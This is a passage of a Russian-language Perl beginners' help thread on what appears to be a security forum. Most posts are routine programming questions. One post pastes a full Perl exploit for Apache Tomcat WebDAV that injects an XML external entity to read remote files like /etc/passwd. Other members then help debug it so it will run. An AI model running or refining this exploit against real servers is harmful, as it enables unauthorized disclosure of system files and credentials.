[Perl] Новичкам: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Kaimi, 7 May 2015.

  1. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,937
    Likes Received:
    804
    Reputations:
    224
    И что такого? Ты просил не обрезать ведущие нули, число, 32 бита. Тут берешь и обрезаешь до 20 бит, где логика то?
     
  2. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,980
    Likes Received:
    1,960
    Reputations:
    594
    На младшие разряды обрати внимание - они тоже всегда нули! (5 разрядов).
    По факту генерируется число 16 бит. (надо 20, 32 пока не надо)
     
  3. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,937
    Likes Received:
    804
    Reputations:
    224
    perl -v
    This is perl 5, version 22, subversion 1 (v5.22.1)

    Code:
    for(1..10)
    {
        my $n = rand(1048575 + 1);
        print unpack('B*', pack('N', $n)), "\n";
    }
    
    Code:
    00000000000001001111011001011011
    00000000000001100110001010001001
    00000000000001101101001100000111
    00000000000011000111111111110111
    00000000000010100101111101000001
    00000000000000010100001101001110
    00000000000001110101111110100110
    00000000000001110100110010010010
    00000000000000000011111001011000
    00000000000001011010001001000110
    
     
  4. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,980
    Likes Received:
    1,960
    Reputations:
    594
    У меня под виндой перл (padre-on-strawberry-5.12.3.0-v5.exe) , поэтому наверное такой косяк, качал отсюда https://code.google.com/archive/p/padre-perl-ide/downloads
     
  5. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,937
    Likes Received:
    804
    Reputations:
    224
    -=lebed=- likes this.
  6. whoareu

    whoareu New Member

    Joined:
    24 Feb 2017
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Code:
    #******************************************************
    # Apache Tomcat Remote File Disclosure Zeroday Xploit
    # kcdarookie aka eliteb0y / 2007
    #
    # thanx to the whole team & andi :)
    # +++KEEP PRIV8+++
    #
    # This Bug may reside in different WebDav implementations,
    # Warp your mind!
    # +You will need auth for the exploit to work...
    #******************************************************
    use IO::Socket;
    use MIME::Base64; ### FIXME! Maybe support other auths too ?
    # SET REMOTE PORT HERE
    $remoteport = 8080;
    sub usage {
        print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
        print "kcdarookie aka eliteb0y / 2007\n";
        print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]\n";
        print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat\n";exit;
    }
    if ($#ARGV < 2) {usage();}
    $hostname = $ARGV[0];
    $webdavfile = $ARGV[1];
    $remotefile = $ARGV[2];
    $username = $ARGV[3];
    $password = $ARGV[4];
    my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                                  PeerPort => $remoteport,
                                  Proto    => 'tcp');
                                  
    $|=1;
    $BasicAuth = encode_base64("$username:$password");
    $KRADXmL =
    "<?xml version=\"1.0\"?>\n"
    ."<!DOCTYPE REMOTE [\n"
    ."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
    ."]>\n"
    ."<D:lockinfo xmlns:D='DAV:'>\n"
    ."<D:lockscope><D:exclusive/></D:lockscope>\n"
    ."<D:locktype><D:write/></D:locktype>\n"
    ."<D:owner>\n"
    ."<D:href>\n"
    ."<REMOTE>\n"
    ."<RemoteX>&RemoteX;</RemoteX>\n"
    ."</REMOTE>\n"
    ."</D:href>\n"
    ."</D:owner>\n"
    ."</D:lockinfo>\n";
    print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
    print "kcdarookie aka eliteb0y / 2007\n";
    print "Launching Remote Exploit...\n";
    $ExploitRequest =
    "LOCK $webdavfile HTTP/1.1\r\n"
    ."Host: $hostname\r\n";
    if ($username ne "") {
    $ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";  
    }
    $ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;
    print $sock $ExploitRequest;
    while(<$sock>) {
        print;
    }
    # milw0rm.com [2007-10-14]
    
    Запускаю так
    C:\perl TOMCATXPL www.host /wedav /ect/passwd user pass
    выкидывает
    Can't use an undefined value as a symbol reference at ..\expl.pl line 72
     
  7. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,937
    Likes Received:
    804
    Reputations:
    224
    Видимо скрипт не может открыть соединение с сервером, который указан в качестве аргумента
     
  8. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    221
    Likes Received:
    23
    Reputations:
    0

    во-первых, в скрипте, что ты привёл нет 72 строки;
    во-вторых, я добавил вывод ошибки
    Code:
    or die($!);
    при установке коннекта, что наиболее вероятно, как сказал Kaimi; см. цитату ^^^

    в остальном всё ок
     
  9. qwaszx000

    qwaszx000 Member

    Joined:
    10 Feb 2018
    Messages:
    27
    Likes Received:
    14
    Reputations:
    7
    Почему через send идет get запрос по сокету, а через print - нет?
    Code:
    send (SOCK, "GET / HTTP/1.0\n\n", 0);
    
    Code:
    print SOCK "GET / HTTP/1.0\n\n";
     
  10. jakonda1001

    jakonda1001 Member

    Joined:
    17 Mar 2016
    Messages:
    176
    Likes Received:
    5
    Reputations:
    0
    <?php

    $a=[];
    for($i=1;$i<=5;$i++){
    for($j=1;$j<=5;$j++){
    $a[$i][$j]=rand(1,5);
    }
    }
    //var_dump($a);

    echo '<table border=1>';
    foreach($a as $b){
    echo '<tr>';
    foreach($b as $c){
    echo "<td>$c</td>";
    }
    echo '</tr>';
    }

    echo '</table>';

    $kol=['1'=>'0','2'=>'0','3'=>'0','4'=>'0','5'=>'0'];
    усть такая штука, как подсчитать количество 5,4, и тд.
    Условие нельзя использовать if, функции count и тд , это я сам могу, нужно подсчитать именно через массив $kol, всю голову сломал
     
  11. Infra_HDC

    Infra_HDC New Member

    Joined:
    14 Jun 2018
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Всем привет! Книжка с верблюдом хороша для начала? Четвертая версия, для 5.14
     
    #31 Infra_HDC, 14 Jun 2018
    Last edited: 14 Jun 2018
  12. vasyaz

    vasyaz New Member

    Joined:
    29 Oct 2012
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    При работе скрипт грузит память на 100%.
    Как можно это исправить?
     
Loading...